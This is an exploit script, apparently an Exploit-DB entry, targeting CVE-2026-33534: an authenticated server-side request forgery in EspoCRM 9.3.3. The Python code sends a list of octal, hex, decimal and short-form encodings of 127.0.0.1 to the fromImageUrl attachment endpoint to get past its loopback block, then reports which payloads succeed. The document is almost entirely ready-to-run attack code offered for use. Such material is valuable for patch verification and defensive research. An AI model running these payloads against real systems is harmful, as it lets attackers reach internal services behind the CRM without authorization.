EspoCRM 9.3.3 – SSRF

# Exploit Title: EspoCRM 9.3.3 - Authenticated SSRF via Alternative IPv4 Notation
# Google Dork: N/A
# Date: 2026-05-08
# Exploit Author: Max Gabriel (https://github.com/EntroVyx)
# Vendor Homepage: https://www.espocrm.com/
# Software Link: https://github.com/espocrm/espocrm/releases/tag/9.3.3
# Version: 9.3.3
# Tested on: EspoCRM 9.3.3, Debian/Kali, Apache/PHP
# CVE : CVE-2026-33534
# Advisory: https://github.com/espocrm/espocrm/security/advisories/GHSA-h7gx-8gwv-7g73
#
# Usage:
#   python3 CVE-2026-33534.py -u http://127.0.0.1:8083 -U admin -P 'Admin12345!' --internal-port 8083 --cleanup
#   python3 CVE-2026-33534.py -u https://target.example -U user -P pass --internal-port 9002 --internal-path /interno.png
#   python3 CVE-2026-33534.py -u https://target.example -U user -P pass --payload 0x7f000001 --payload 2130706433

import argparse
import json
import sys
from pathlib import Path
from urllib.parse import urlparse, urlunparse

import requests


DEFAULT_LOOPBACK_PAYLOADS = [
    ("octal dotted", "0177.0.0.1"),
    ("octal dotted padded", "0177.0000.0000.0001"),
    ("octal compressed", "0177.1"),
    ("hex dotted", "0x7f.0.0.1"),
    ("hex dotted full", "0x7f.0x0.0x0.0x1"),
    ("hex dword", "0x7f000001"),
    ("decimal dword", "2130706433"),
    ("octal dword", "017700000001"),
    ("short IPv4 two-part", "127.1"),
    ("short IPv4 three-part", "127.0.1"),
    ("zero-padded dotted", "127.000.000.001"),
    ("long zero-padded octal", "0000000000000000000000000177.0.0.1"),
]


def normalize_base_url(value):
    value = value.rstrip("/")
    parsed = urlparse(value)

    if not parsed.scheme or not parsed.netloc:
        raise argparse.ArgumentTypeError("target URL must include scheme and host")

    return value


def default_internal_port(base_url):
    parsed = urlparse(base_url)

    if parsed.port:
        return parsed.port

    return 443 if parsed.scheme == "https" else 80


def ensure_path(value):
    if not value:
        return "/"

    return value if value.startswith("/") else f"/{value}"


def make_url(base_url, host, internal_port, internal_path):
    parsed = urlparse(base_url)
    netloc = host

    default_port = 443 if parsed.scheme == "https" else 80

    if internal_port != default_port:
        netloc = f"{host}:{internal_port}"

    return urlunparse((parsed.scheme, netloc, ensure_path(internal_path), "", "", ""))


def make_control_url(base_url, internal_port, internal_path):
    return make_url(base_url, "127.0.0.1", internal_port, internal_path)


def load_payloads(args):
    payloads = list(DEFAULT_LOOPBACK_PAYLOADS)

    if args.no_default_payloads:
        payloads = []

    for item in args.payload or []:
        payloads.append(("custom", item.strip()))

    if args.payload_file:
        for line_number, raw_line in enumerate(Path(args.payload_file).read_text().splitlines(), start=1):
            line = raw_line.strip()

            if not line or line.startswith("#"):
                continue

            if "=" in line:
                label, host = line.split("=", 1)
                payloads.append((label.strip() or f"file:{line_number}", host.strip()))
            else:
                payloads.append((f"file:{line_number}", line))

    seen = set()
    output = []

    for label, host in payloads:
        if not host or host in seen:
            continue

        seen.add(host)
        output.append((label, host))

    return output


def post_from_image_url(session, base_url, image_url, field, parent_type, parent_id, timeout):
    endpoint = f"{base_url}/api/v1/Attachment/fromImageUrl"
    payload = {
        "url": image_url,
        "field": field,
        "parentType": parent_type,
    }

    if parent_id:
        payload["parentId"] = parent_id

    return session.post(endpoint, json=payload, timeout=timeout)


def parse_json(response):
    try:
        return response.json()
    except json.JSONDecodeError:
        return None


def short_body(response):
    body = response.text.replace("r", "\r").replace("n", "\n")

    if len(body) > 420:
        return body[:420] + "..."

    return body


def delete_attachment(session, base_url, attachment_id, timeout):
    response = session.delete(f"{base_url}/api/v1/Attachment/{attachment_id}", timeout=timeout)

    return response.status_code in {200, 204}


def is_successful_bypass(response):
    data = parse_json(response)

    return (
        response.status_code == 200 and
        isinstance(data, dict) and
        bool(data.get("id"))
    ), data


def print_result(label, host, response, data):
    if isinstance(data, dict) and data.get("id"):
        print(
            f"[+] {label:24} {host:38} HTTP {response.status_code} "
            f"id={data.get('id')} type={data.get('type')} size={data.get('size')}"
        )

        return

    reason = response.headers.get("X-Status-Reason") or short_body(response) or "-"
    print(f"[-] {label:24} {host:38} HTTP {response.status_code} {reason}")


def main():
    parser = argparse.ArgumentParser(
        description="Authenticated EspoCRM CVE-2026-33534 SSRF verification exploit with multiple encoded loopback payloads."
    )
    parser.add_argument("-u", "--url", required=True, type=normalize_base_url, help="Base URL, e.g. http://host:8083")
    parser.add_argument("-U", "--username", required=True, help="EspoCRM username")
    parser.add_argument("-P", "--password", required=True, help="EspoCRM password")
    parser.add_argument("--internal-port", type=int, help="Internal loopback port for the self-fetch PoC")
    parser.add_argument("--internal-path", default="/client/img/logo-light.svg", help="Internal path for the self-fetch PoC")
    parser.add_argument("--payload", action="append", help="Additional loopback host notation to test, e.g. 0x7f000001")
    parser.add_argument("--payload-file", help="File with one host payload per line, or label=host")
    parser.add_argument("--no-default-payloads", action="store_true", help="Use only --payload/--payload-file entries")
    parser.add_argument("--field", default="avatar", help="Attachment field used by fromImageUrl")
    parser.add_argument("--parent-type", default="User", help="Parent entity type used by fromImageUrl")
    parser.add_argument("--parent-id", help="Optional parent entity id")
    parser.add_argument("--timeout", type=float, default=15.0, help="HTTP timeout")
    parser.add_argument("--cleanup", action="store_true", help="Attempt to delete attachments created by successful payloads")
    parser.add_argument("--stop-on-first", action="store_true", help="Stop after the first successful payload")
    parser.add_argument("--insecure", action="store_true", help="Disable TLS certificate verification")
    args = parser.parse_args()

    payloads = load_payloads(args)

    if not payloads:
        print("[-] No payloads to test.")
        return 2

    internal_port = args.internal_port or default_internal_port(args.url)
    control_url = make_control_url(args.url, internal_port, args.internal_path)

    session = requests.Session()
    session.auth = (args.username, args.password)
    session.headers.update({"Accept": "application/json"})
    session.verify = not args.insecure

    print(f"[*] Target: {args.url}")
    print(f"[*] Control URL: {control_url}")
    print(f"[*] Payload count: {len(payloads)}")

    control = post_from_image_url(
        session,
        args.url,
        control_url,
        args.field,
        args.parent_type,
        args.parent_id,
        args.timeout,
    )

    print(f"[*] Control response: HTTP {control.status_code} {control.headers.get('X-Status-Reason') or short_body(control) or '-'}")

    if control.status_code != 403:
        print("[!] The direct 127.0.0.1 control was not blocked with HTTP 403. Results may not prove CVE-2026-33534.")

    successes = []

    for label, host in payloads:
        ssrf_url = make_url(args.url, host, internal_port, args.internal_path)
        response = post_from_image_url(
            session,
            args.url,
            ssrf_url,
            args.field,
            args.parent_type,
            args.parent_id,
            args.timeout,
        )
        successful, data = is_successful_bypass(response)
        print_result(label, host, response, data)

        if successful:
            successes.append((label, host, ssrf_url, data))

            if args.cleanup and data.get("id"):
                if delete_attachment(session, args.url, data["id"], args.timeout):
                    print(f"    cleanup: deleted attachment {data['id']}")
                else:
                    print(f"    cleanup: failed to delete attachment {data['id']}")

            if args.stop_on_first:
                break

    if not successes:
        print("[-] No encoded loopback payload produced an attachment.")
        return 2

    print("")
    print("[+] Vulnerable behavior confirmed.")
    print(f"[+] Direct loopback control: HTTP {control.status_code}")
    print(f"[+] Successful payloads: {len(successes)}")

    for label, host, ssrf_url, data in successes:
        print(f"    - {label}: {host} -> {data.get('type')} ({ssrf_url})")

    return 0 if control.status_code == 403 else 1


if __name__ == "__main__":
    try:
        sys.exit(main())
    except requests.RequestException as exc:
        print(f"[-] HTTP error: {exc}")
        sys.exit(1)